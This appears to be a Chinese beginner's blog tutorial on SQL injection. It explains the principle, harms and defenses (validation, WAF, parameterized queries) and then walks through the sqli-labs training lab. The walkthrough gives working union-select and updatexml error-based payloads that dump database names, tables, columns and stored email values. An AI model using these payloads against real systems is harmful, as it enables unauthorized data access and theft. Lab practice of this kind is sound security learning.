Sql注入【新手上路,简单易懂】

目录

原理

危害

防御

攻击技巧(方式)


原理

sql注入肯定是与数据库相联系的,在与数据库产生交互的地方都有可能出现sql注入漏洞。

通过在web表单/页面请求/输入域名 中输入sql语句来注入后台数据库执行。(sql注入)

核心:用户输入的sql语句被当作代码执行

危害

1.信息泄露

2.数据篡改

3.一些破坏性的操作

防御

1.对用户的输入进行验证和过滤

2.部署Web应用程序防火墙(WAF),对http请求进行实时监控和过滤

3.使用参数化查询,参数化查询可以将用户输入作为参数传递给预定义的SQL查询来执行

攻击技巧(sqli-labs)

Less - 1

?id=1

sqli/Less-1/?id=1 and 1=1

sqli/Less-1/?id=1 and 1=2 (均无报错与回显,判断是字符型)

sqli/Less-1/?id=1' and 1=1 (ok 显示报错了)

注意:字符型要构造闭合,因为有 ' 

?id=1' and 1=1 -- q (--用来注释本行 空格加q防止--被浏览器不执行)

查询字段数:?id=1' oder by 5 -- q   (二分查找法)

?id=1' oder by 3 -- q

?id=1' oder by 4 -- q

判断字段数为3

查看回显位,注意将?id=1' ——>?id=0' (一个不存在的值即可)

联合查询union select

?id=0' union select 1,2,3 -- q   (回显位为 2,3)

先判断数据库版本,如果是5.0以上版本才有information_schema 这个库

拿库:?id=0' union select 1,version(),database() -- q

拿表:

sqli/Less-1/?id=0' union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema='security' -- q

group_concat() :就是一次性拿完数据

拿列:

sqli/Less-1/?id=0' union select 1,version(),group_concat(column_name) from information_schema.columns where table_schema='security' -- q

(我是直接拿完了,觉得不方便看就一个一个拿)

拿值:

sqli/Less-1/?id=0' union select 1,group_concat(id),group_concat(email_id) from emails -- q

Less - 5

?id=1 and 1=1 与 ?id=1 and 1=2

?id=1' and 1=1 -- q (没反应)

?id=1' order by 5 -- q (试一试查字段数,报错了-好消息)

?id=1' order by 3 -- q (查出来字段数为3,但是没有回显位)

报错注入:

没有回显位,但是要报错,有报错信息就从报错信息入手。(把报错信息当作回显信息)

用 updatexml(1,concat('!',database(),'!'),3)

?id=1' and updatexml(1,concat('!',database(),'!'),3) -- q  (后面就是一些基本操作,和前面一样)

  • 9
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值